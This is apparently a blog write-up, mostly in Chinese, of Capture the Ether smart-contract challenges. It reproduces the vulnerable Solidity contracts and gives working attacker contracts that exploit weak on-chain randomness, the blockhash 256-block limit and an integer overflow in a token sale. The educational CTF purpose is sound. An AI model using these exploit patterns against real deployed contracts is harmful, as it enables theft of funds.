# Capture the ether **Published by:** [Banana69](https://paragraph.com/@banana69/) **Published on:** 2022-03-23 **URL:** https://paragraph.com/@banana69/capture-the-ether ## Content Guess the secret number pragma solidity ^0.4.21; contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function GuessTheSecretNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (keccak256(n) == answerHash) { msg.sender.transfer(2 ether); } } } 这道题目需要猜一个uint8的变量经过keccak256后的值与answerHash相等,由于uint8的范围是0-255,所以写一个爆破的智能合约就可以解出最后的答案 //爆破合约 contract crack { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; uint8 public result; function crackresult() returns (uint8) { for (uint8 i = 0; i <= 255; i++) { if (keccak256(i) == answerHash) { result = i; return i; } } } } //result = 170 Guess the random number pragma solidity ^0.4.21; contract GuessTheRandomNumberChallenge { uint8 answer; function GuessTheRandomNumberChallenge() public payable { require(msg.value == 1 ether); answer = uint8(keccak256(block.blockhash(block.number - 1), now)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } } 这道题中的answer在构造函数中进行了初始化,所以根据solidity的存储结构,变量answer的值被存储在slot0中,此时的answer作为状态变量存储在storage中,所以可以使用web3js在微storage中读取 web3.js.getStorageAt("contract Address", 0, console.log) Guess the new number pragma solidity ^0.4.21; contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { msg.sender.transfer(2 ether); } } } contract attacker { function attack() public payable { uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)); GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x4779f53F8141Ab6Aa7414CAB3A2184Cc4c32C56A); target.guess.value(1 ether)(result); } function () public payable { } } 这道题需要获取到前一个区块的hash与当前的时间戳,由于每个区块包含很多个交易,而同一个区块的交易的前一个区块hash与时间戳都是相等的,所以可以通过部署另一个合约,从该合约调用目标合约中的guess函数使这俩个交易在一个块内。 predict the future pragma solidity ^0.4.21; contract PredictTheFutureChallenge { address guesser; uint8 guess; uint256 settlementBlockNumber; function PredictTheFutureChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } } 这道题生成随机数的方式与上一题相同,不同点在于需要在lockInGuess函数处输入guess的值,然后settlementBlockNumber函数限制了在settle()函数中生成hash的块必须在lockInGuess块之后,所以无法直接调用settle()函数,由于最后获取hash值的方法为模10运算,因此answer的范围是0-9,因此可以利用爆破的方法来解决这道题。 思路: 由于题目中锁定用户用的是msg.sender,所以需要部署一个攻击合约来随便猜一个数字,首先在攻击合约中调用lockInGuess函数,将猜的数字作为该函数的参数发送。 调用攻击合约中的爆破函数计算hash值与上一步猜的数字是否相等,当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数,以免guesser被清零。 攻击合约: contract attacker { PredictTheFutureChallenge target; uint public result; function attacker() public payable { target = PredictTheFutureChallenge(0x1B67a75C3A4754d2586697722C36f181B7b82f5d); target.lockInGuess.value(1 ether)(8); } function exploit() public payable { result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; if (result == 8) { target.settle(); } } function () public payable { } } Predict the block hash pragma solidity ^0.4.21; contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } } 这道题与上一题基本类似,不一样的地方在于需要猜当前块的 hash,但是对于block.blockhash这个函数,可以获取给定区块号的 hash 值,但只支持最近的 256 个区块,对于 256 个区块之外的区块,block.blockhash函数都将返回 0,所以可以先传递 guess为 0,然后等待 256 个区块再调用settle函数即可,具体代码如下: pragma solidity ^0.4.21; contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } } contract attacker { PredictTheBlockHashChallenge target; uint public result; uint public num; function attacker() public payable { target = PredictTheBlockHashChallenge(0xCF221473d9F6Ae7b95D47710776f5e7733C745F3); target.lockInGuess.value(1 ether)(0); num = block.number } function exploit() public payable { if(block.number - num > 256) { target.settle(); } } function () public payable { } } Token Sale pragma solidity ^0.4.21; contract TokenSaleChallenge { //题目中定义了一个虚拟代币,通过mapping来追踪地址的代币数额 mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether; //和合约同名的构造函数,要求合约的初始余额为1 ether, function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); } //判断完成的条件要求合约中的余额小于 1 ether function isComplete() public view returns (bool) { return address(this).balance < 1 ether; } //定义了买入token的方法,买入后更新mapping function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; } //定义了卖出token的方法 function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } } 首先分析题目,题目中定义了一个虚拟代币,通过mapping来追踪地址的代币数额,TokenSaleChallenge 是和合约同名的构造函数,要求合约的初始余额为1 ether,当合约中的余额小于1 ether时完成题目。 由于买入多少币才能卖出多少币,所以如果想要能转出的买入的更多,就要求在买入的时候上溢,恰好这个合约没有safemath,存在溢出漏洞。 当买入的 token 小于 卖出的token 时可以利用溢出漏洞达到完成条件。 在buy函数中的的 判断require(msg.value == numTokens * PRICE_PER_TOKEN);,造成溢出需要当msg.value足够小,numTokens足够大,而 PRICE_PER_TOKEN ==1 ether=10^18 wei,所以当numTokens * 10^18 >= 2^256时会上溢出 // msg.value == numTokens * PRICE_PER_TOKEN 计算刚好造成上溢出的 numToken //这里不加1的话计算出来的msg.value会非常大无法发送(115792089237316195423570985008687907853269984665640564039457000000000000000000) numTokens = 2^256/(10^18) + 1 = 115792089237316195423570985008687907853269984665640564039458 msg.value = numTokens * 10^18 % (2^256) = 415992086870360064 wei 因为需要以wei为单位发送 ether,所以需要在 Remix 中部署合约,调用buy 函数相当于以较小的msg.value获取到了大量的token,而这些token可以在sell函数中能够以 1 ether 的兑换率被转出, 就相当于以 0.4 ether 充值了相当于 1 ther 的token最后将这些token卖出,合约中的余额就会减少 1 ether,就达成了完成的条件。 ## Publication Information - [Banana69](https://paragraph.com/@banana69/): Publication homepage - [All Posts](https://paragraph.com/@banana69/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@banana69): Subscribe to updates